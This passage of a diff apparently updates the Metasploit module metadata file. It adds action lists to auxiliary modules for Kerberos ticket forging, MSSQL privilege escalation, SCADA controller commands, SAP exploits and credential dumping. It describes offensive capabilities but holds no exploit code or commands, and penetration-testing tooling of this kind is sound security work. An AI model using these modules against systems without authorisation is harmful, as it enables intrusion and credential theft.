+ "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/http/webnms_file_download": { "name": "WebNMS Framework Server Arbitrary Text File Download", @@ -4814,7 +5465,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/http/wp_automatic_plugin_privesc": { "name": "WordPress Plugin Automatic Config Change to RCE", @@ -4875,7 +5529,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/http/wp_custom_contact_forms": { "name": "WordPress custom-contact-forms Plugin SQL Upload", @@ -4925,7 +5582,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/http/wp_easycart_privilege_escalation": { "name": "WordPress WP EasyCart Plugin Privilege Escalation", @@ -4974,7 +5634,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/http/wp_gdpr_compliance_privesc": { "name": "WordPress WP GDPR Compliance Plugin Privilege Escalation", @@ -5033,7 +5696,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/http/wp_google_maps_sqli": { "name": "WordPress Google Maps Plugin SQL Injection", @@ -5081,7 +5747,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/http/wp_masterstudy_privesc": { "name": "Wordpress MasterStudy Admin Account Creation", @@ -5141,7 +5810,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/http/wp_symposium_sql_injection": { "name": "WordPress Symposium Plugin SQL Injection", @@ -5190,7 +5862,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/http/wp_wplms_privilege_escalation": { "name": "WordPress WPLMS Theme Privilege Escalation", @@ -5238,7 +5913,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/http/zyxel_admin_password_extractor": { "name": "ZyXEL GS1510-16 Password Extractor", @@ -5286,10 +5964,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/kerberos/forge_ticket": { - "name": "Kerberos Silver/Golden Ticket Forging", + "name": "Kerberos Silver/Golden/Diamond/Sapphire Ticket Forging", "fullname": "auxiliary/admin/kerberos/forge_ticket", "aliases": [ @@ -5300,15 +5981,16 @@ "author": [ "Benjamin Delpy", "Dean Welch", - "alanfoster" + "alanfoster", + "smashery" ], - "description": "This module forges a Kerberos ticket", + "description": "This module forges a Kerberos ticket. Four different techniques can be used:\n - Silver ticket: Using a service account hash, craft a ticket impersonating any user and privileges to that account.\n - Golden ticket: Using the krbtgt hash, craft a ticket impersonating any user and privileges.\n - Diamond ticket: Authenticate to the domain controller, and using the krbtgt hash, copy the PAC from the authenticated user to a forged ticket.\n - Sapphire ticket: Use the S4U2Self+U2U trick to retrieve the PAC of another user, then use the krbtgt hash to craft a forged ticket.", "references": [ "URL-https://www.slideshare.net/gentilkiwi/abusing-microsoft-kerberos-sorry-you-guys-dont-get-it" ], "platform": "", "arch": "", - "rport": null, + "rport": 88, "autofilter_ports": [ ], @@ -5316,7 +5998,7 @@ ], "targets": null, - "mod_time": "2023-09-13 15:34:17 +0000", + "mod_time": "2023-11-28 13:14:13 +0000", "path": "/modules/auxiliary/admin/kerberos/forge_ticket.rb", "is_install_path": true, "ref_name": "admin/kerberos/forge_ticket", @@ -5325,23 +6007,39 @@ "default_credential": false, "notes": { "Stability": [ - + "crash-safe" ], "SideEffects": [ - + "ioc-in-logs" ], "Reliability": [ ], "AKA": [ - "Silver Ticket", - "Golden Ticket", "Ticketer", "Klist" ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "FORGE_DIAMOND", + "description": "Forge a Diamond Ticket" + }, + { + "name": "FORGE_GOLDEN", + "description": "Forge a Golden Ticket" + }, + { + "name": "FORGE_SAPPHIRE", + "description": "Forge a Sapphire Ticket" + }, + { + "name": "FORGE_SILVER", + "description": "Forge a Silver Ticket" + } + ] }, "auxiliary_admin/kerberos/get_ticket": { "name": "Kerberos TGT/TGS Ticket Requester", @@ -5397,7 +6095,21 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "GET_HASH", + "description": "Request a TGS to recover the NTLM hash" + }, + { + "name": "GET_TGS", + "description": "Request a Ticket-Granting-Service (TGS)" + }, + { + "name": "GET_TGT", + "description": "Request a Ticket-Granting-Ticket (TGT)" + } + ] }, "auxiliary_admin/kerberos/inspect_ticket": { "name": "Kerberos Ticket Inspecting", @@ -5447,7 +6159,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/kerberos/keytab": { "name": "Kerberos keytab utilities", @@ -5494,7 +6209,21 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "ADD", + "description": "Add a new entry to the keytab file" + }, + { + "name": "EXPORT", + "description": "Export the current database creds to the keytab file" + }, + { + "name": "LIST", + "description": "List the entries in the keytab file" + } + ] }, "auxiliary_admin/kerberos/ms14_068_kerberos_checksum": { "name": "MS14-068 Microsoft Kerberos Checksum Validation Vulnerability", @@ -5540,7 +6269,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/kerberos/ticket_converter": { "name": "Kerberos ticket converter", @@ -5592,7 +6324,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/ldap/ad_cs_cert_template": { "name": "AD CS Certificate Template Management", @@ -5643,7 +6378,25 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "CREATE", + "description": "Create the certificate template" + }, + { + "name": "DELETE", + "description": "Delete the certificate template" + }, + { + "name": "READ", + "description": "Read the certificate template" + }, + { + "name": "UPDATE", + "description": "Modify the certificate template" + } + ] }, "auxiliary_admin/ldap/rbcd": { "name": "Role Base Constrained Delegation", @@ -5694,7 +6447,25 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "FLUSH", + "description": "Delete the security descriptor" + }, + { + "name": "READ", + "description": "Read the security descriptor" + }, + { + "name": "REMOVE", + "description": "Remove matching ACEs from the security descriptor DACL" + }, + { + "name": "WRITE", + "description": "Add an ACE to the security descriptor DACL" + } + ] }, "auxiliary_admin/ldap/vmware_vcenter_vmdir_auth_bypass": { "name": "VMware vCenter Server vmdir Authentication Bypass", @@ -5728,7 +6499,7 @@ ], "targets": null, - "mod_time": "2022-01-12 16:51:40 +0000", + "mod_time": "2023-10-12 19:08:51 +0000", "path": "/modules/auxiliary/admin/ldap/vmware_vcenter_vmdir_auth_bypass.rb", "is_install_path": true, "ref_name": "admin/ldap/vmware_vcenter_vmdir_auth_bypass", @@ -5748,7 +6519,13 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "Add", + "description": "Add an admin user" + } + ] }, "auxiliary_admin/maxdb/maxdb_cons_exec": { "name": "SAP MaxDB cons.exe Remote Command Injection", @@ -5788,7 +6565,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/misc/sercomm_dump_config": { "name": "SerComm Device Configuration Dump", @@ -5828,7 +6608,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/misc/wol": { "name": "UDP Wake-On-Lan (WOL)", @@ -5866,7 +6649,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/motorola/wr850g_cred": { "name": "Motorola WR850G v4.03 Credentials", @@ -5906,7 +6692,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/ms/ms08_059_his2006": { "name": "Microsoft Host Integration Server 2006 Command Execution Vulnerability", @@ -5947,7 +6736,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/mssql/mssql_enum": { "name": "Microsoft SQL Server Configuration Enumerator", @@ -5993,7 +6785,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/mssql/mssql_enum_domain_accounts": { "name": "Microsoft SQL Server SUSER_SNAME Windows Domain Account Enumeration", @@ -6040,7 +6835,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/mssql/mssql_enum_domain_accounts_sqli": { "name": "Microsoft SQL Server SQLi SUSER_SNAME Windows Domain Account Enumeration", @@ -6088,7 +6886,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/mssql/mssql_enum_sql_logins": { "name": "Microsoft SQL Server SUSER_SNAME SQL Logins Enumeration", @@ -6134,7 +6935,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/mssql/mssql_escalate_dbowner": { "name": "Microsoft SQL Server Escalate Db_Owner", @@ -6180,7 +6984,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/mssql/mssql_escalate_dbowner_sqli": { "name": "Microsoft SQL Server SQLi Escalate Db_Owner", @@ -6227,7 +7034,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/mssql/mssql_escalate_execute_as": { "name": "Microsoft SQL Server Escalate EXECUTE AS", @@ -6273,7 +7083,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/mssql/mssql_escalate_execute_as_sqli": { "name": "Microsoft SQL Server SQLi Escalate Execute AS", @@ -6320,7 +7133,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/mssql/mssql_exec": { "name": "Microsoft SQL Server Command Execution", @@ -6368,7 +7184,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/mssql/mssql_findandsampledata": { "name": "Microsoft SQL Server Find and Sample Data", @@ -6419,7 +7238,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/mssql/mssql_idf": { "name": "Microsoft SQL Server Interesting Data Finder", @@ -6465,7 +7287,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/mssql/mssql_ntlm_stealer": { "name": "Microsoft SQL Server NTLM Stealer", @@ -6511,7 +7336,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/mssql/mssql_ntlm_stealer_sqli": { "name": "Microsoft SQL Server SQLi NTLM Stealer", @@ -6559,7 +7387,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/mssql/mssql_sql": { "name": "Microsoft SQL Server Generic Query", @@ -6606,7 +7437,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/mssql/mssql_sql_file": { "name": "Microsoft SQL Server Generic Query from File", @@ -6652,7 +7486,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/mysql/mysql_enum": { "name": "MySQL Enumeration Module", @@ -6690,7 +7527,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/mysql/mysql_sql": { "name": "MySQL SQL Generic Query", @@ -6728,7 +7568,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/natpmp/natpmp_map": { "name": "NAT-PMP Port Mapper", @@ -6766,7 +7609,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/netbios/netbios_spoof": { "name": "NetBIOS Response Brute Force Spoof (Direct)", @@ -6806,7 +7652,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/networking/arista_config": { "name": "Arista Configuration Importer", @@ -6853,7 +7702,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/networking/brocade_config": { "name": "Brocade Configuration Importer", @@ -6891,7 +7743,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/networking/cisco_asa_extrabacon": { "name": "Cisco ASA Authentication Bypass (EXTRABACON)", @@ -6941,7 +7796,17 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "PASS_DISABLE", + "description": "Disable password authentication." + }, + { + "name": "PASS_ENABLE", + "description": "Enable password authentication." + } + ] }, "auxiliary_admin/networking/cisco_config": { "name": "Cisco Configuration Importer", @@ -6979,7 +7844,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/networking/cisco_dcnm_auth_bypass": { "name": "Cisco DCNM auth bypass", @@ -7038,7 +7906,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/networking/cisco_dcnm_download": { "name": "Cisco Data Center Network Manager Unauthenticated File Download", @@ -7090,7 +7961,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/networking/cisco_secure_acs_bypass": { "name": "Cisco Secure ACS Unauthorized Password Change", @@ -7139,7 +8013,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/networking/cisco_vpn_3000_ftp_bypass": { "name": "Cisco VPN Concentrator 3000 FTP Unauthorized Administrative Access", @@ -7190,7 +8067,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/networking/f5_config": { "name": "F5 Configuration Importer", @@ -7237,7 +8117,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/networking/juniper_config": { "name": "Juniper Configuration Importer", @@ -7284,7 +8167,17 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "JUNOS", + "description": "Import JunOS Config File" + }, + { + "name": "SCREENOS", + "description": "Import ScreenOS Config File" + } + ] }, "auxiliary_admin/networking/mikrotik_config": { "name": "Mikrotik Configuration Importer", @@ -7331,7 +8224,17 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "ROUTEROS", + "description": "Import RouterOS Config File" + }, + { + "name": "SWOS", + "description": "Import SwOS Config File" + } + ] }, "auxiliary_admin/networking/ubiquiti_config": { "name": "Ubiquiti Configuration Importer", @@ -7378,7 +8281,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/networking/vyos_config": { "name": "VyOS Configuration Importer", @@ -7425,7 +8331,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/officescan/tmlisten_traversal": { "name": "TrendMicro OfficeScanNT Listener Traversal Arbitrary File Access", @@ -7476,7 +8385,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/oracle/ora_ntlm_stealer": { "name": "Oracle SMB Relay Code Execution", @@ -7514,7 +8426,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/oracle/oracle_index_privesc": { "name": "Oracle DB Privilege Escalation via Function-Based Index", @@ -7553,7 +8468,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/oracle/oracle_login": { "name": "Oracle Account Discovery", @@ -7592,7 +8510,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/oracle/oracle_sql": { "name": "Oracle SQL Generic Query", @@ -7630,7 +8551,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/oracle/oraenum": { "name": "Oracle Database Enumeration", @@ -7668,7 +8592,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/oracle/osb_execqr": { "name": "Oracle Secure Backup exec_qr() Command Injection Vulnerability", @@ -7718,7 +8645,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/oracle/osb_execqr2": { "name": "Oracle Secure Backup Authentication Bypass/Command Injection Vulnerability", @@ -7770,7 +8700,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/oracle/osb_execqr3": { "name": "Oracle Secure Backup Authentication Bypass/Command Injection Vulnerability", @@ -7819,7 +8752,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/oracle/post_exploitation/win32exec": { "name": "Oracle Java execCommand (Win32)", @@ -7857,7 +8793,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/oracle/post_exploitation/win32upload": { "name": "Oracle URL Download", @@ -7895,7 +8834,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/oracle/sid_brute": { "name": "Oracle TNS Listener SID Brute Forcer", @@ -7934,7 +8876,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/oracle/tnscmd": { "name": "Oracle TNS Listener Command Issuer", @@ -7972,7 +8917,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/pop2/uw_fileretrieval": { "name": "UoW pop2d Remote File Retrieval Vulnerability", @@ -8011,7 +8959,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/postgres/postgres_readfile": { "name": "PostgreSQL Server Generic Query", @@ -8049,7 +9000,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/postgres/postgres_sql": { "name": "PostgreSQL Server Generic Query", @@ -8087,7 +9041,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/sap/cve_2020_6207_solman_rce": { "name": "SAP Solution Manager remote unauthorized OS commands execution", @@ -8149,7 +9106,25 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "EXEC", + "description": "Exec OS command on connected agent" + }, + { + "name": "LIST", + "description": "List connected agents" + }, + { + "name": "SECSTORE", + "description": "Get file with SolMan credentials from connected agent" + }, + { + "name": "SSRF", + "description": "Send SSRF from connected agent" + } + ] }, "auxiliary_admin/sap/cve_2020_6287_ws_add_user": { "name": "SAP Unauthenticated WebService User Creation", @@ -8214,7 +9189,17 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "ADD", + "description": "Add the specified user" + }, + { + "name": "REMOVE", + "description": "Remove the specified user" + } + ] }, "auxiliary_admin/sap/sap_configservlet_exec_noauth": { "name": "SAP ConfigServlet OS Command Execution", @@ -8264,7 +9249,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/sap/sap_igs_xmlchart_xxe": { "name": "SAP Internet Graphics Server (IGS) XMLCHART XXE", @@ -8323,7 +9311,17 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "DOS", + "description": "Denial Of Service" + }, + { + "name": "READ", + "description": "Remote file read" + } + ] }, "auxiliary_admin/sap/sap_mgmt_con_osexec": { "name": "SAP Management Console OSExecute", @@ -8371,7 +9369,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/scada/advantech_webaccess_dbvisitor_sqli": { "name": "Advantech WebAccess DBVisitor.dll ChartThemeConfig SQL Injection", @@ -8423,7 +9424,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/scada/ge_proficy_substitute_traversal": { "name": "GE Proficy Cimplicity WebView substitute.bcl Directory Traversal", @@ -8465,7 +9469,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/scada/modicon_command": { "name": "Schneider Modicon Remote START/STOP Command", @@ -8504,7 +9511,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/scada/modicon_password_recovery": { "name": "Schneider Modicon Quantum Password Recovery", @@ -8544,7 +9554,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/scada/modicon_stux_transfer": { "name": "Schneider Modicon Ladder Logic Upload/Download", @@ -8583,7 +9596,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/scada/moxa_credentials_recovery": { "name": "Moxa Device Credential Retrieval", @@ -8626,7 +9642,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/scada/multi_cip_command": { "name": "Allen-Bradley/Rockwell Automation EtherNet/IP CIP Commands", @@ -8666,7 +9685,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/scada/pcom_command": { "name": "Unitronics PCOM remote START/STOP/RESET command", @@ -8704,7 +9726,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/scada/phoenix_command": { "name": "PhoenixContact PLC Remote START/STOP Command", @@ -8743,7 +9768,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/scada/yokogawa_bkbcopyd_client": { "name": "Yokogawa BKBCopyD.exe Client", @@ -8782,7 +9810,21 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "PMODE", + "description": "Leak the current database" + }, + { + "name": "RETR", + "description": "Retrieve remote file" + }, + { + "name": "STOR", + "description": "Store remote file" + } + ] }, "auxiliary_admin/serverprotect/file": { "name": "TrendMicro ServerProtect File Access", @@ -8822,7 +9864,25 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "delete", + "description": "Delete a file" + }, + { + "name": "download", + "description": "Download a file" + }, + { + "name": "list", + "description": "List files (not recommended - will crash the driver)" + }, + { + "name": "upload", + "description": "Upload a file" + } + ] }, "auxiliary_admin/smb/check_dir_file": { "name": "SMB Scanner Check File/Directory Utility", @@ -8863,7 +9923,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/smb/delete_file": { "name": "SMB File Delete Utility", @@ -8903,7 +9966,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/smb/download_file": { "name": "SMB File Download Utility", @@ -8943,7 +10009,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/smb/list_directory": { "name": "SMB Directory Listing Utility", @@ -8984,7 +10053,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/smb/ms17_010_command": { "name": "MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution", @@ -9039,7 +10111,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/smb/psexec_ntdsgrab": { "name": "PsExec NTDS.dit And SYSTEM Hive Download Utility", @@ -9080,7 +10155,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/smb/samba_symlink_traversal": { "name": "Samba Symlink Directory Traversal", @@ -9123,7 +10201,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/smb/upload_file": { "name": "SMB File Upload Utility", @@ -9163,7 +10244,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/smb/webexec_command": { "name": "WebEx Remote Command Execution Utility", @@ -9204,7 +10288,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/sunrpc/solaris_kcms_readfile": { "name": "Solaris KCMS + TTDB Arbitrary File Read", @@ -9246,7 +10333,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/teradata/teradata_odbc_sql": { "name": "Teradata ODBC SQL Query Module", @@ -9288,7 +10378,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/tftp/tftp_transfer_util": { "name": "TFTP File Transfer Utility", @@ -9327,7 +10420,17 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "Download", + "description": "Download REMOTE_FILENAME as FILENAME from the server." + }, + { + "name": "Upload", + "description": "Upload FILENAME as REMOTE_FILENAME to the server." + } + ] }, "auxiliary_admin/tikiwiki/tikidblib": { "name": "TikiWiki Information Disclosure", @@ -9377,7 +10480,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "Dump", + "description": "Dump user and password" + } + ] }, "auxiliary_admin/upnp/soap_portmapping": { "name": "UPnP IGD SOAP Port Mapping Utility", @@ -9425,7 +10534,17 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "ADD", + "description": "Use the AddPortMapping SOAP command to open and forward a port" + }, + { + "name": "DELETE", + "description": "Use the DeletePortMapping SOAP command to remove a port forwarding" + } + ] }, "auxiliary_admin/vmware/poweroff_vm": { "name": "VMWare Power Off Virtual Machine", @@ -9472,7 +10591,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/vmware/poweron_vm": { "name": "VMWare Power On Virtual Machine", @@ -9519,7 +10641,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/vmware/tag_vm": { "name": "VMWare Tag Virtual Machine", @@ -9566,7 +10691,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/vmware/terminate_esx_sessions": { "name": "VMWare Terminate ESX Login Sessions", @@ -9613,7 +10741,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/vmware/vcenter_forge_saml_token": { "name": "VMware vCenter Forge SAML Authentication Credentials", @@ -9669,7 +10800,13 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "Run", + "description": "Generate vSphere session cookie" + } + ] }, "auxiliary_admin/vmware/vcenter_offline_mdb_extract": { "name": "VMware vCenter Extract Secrets from vmdir / vmafd DB File", @@ -9716,7 +10853,13 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "Dump", + "description": "Dump secrets from vCenter files" + } + ] }, "auxiliary_admin/vnc/realvnc_41_bypass": { "name": "RealVNC NULL Authentication Mode Bypass", @@ -9758,7 +10901,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, 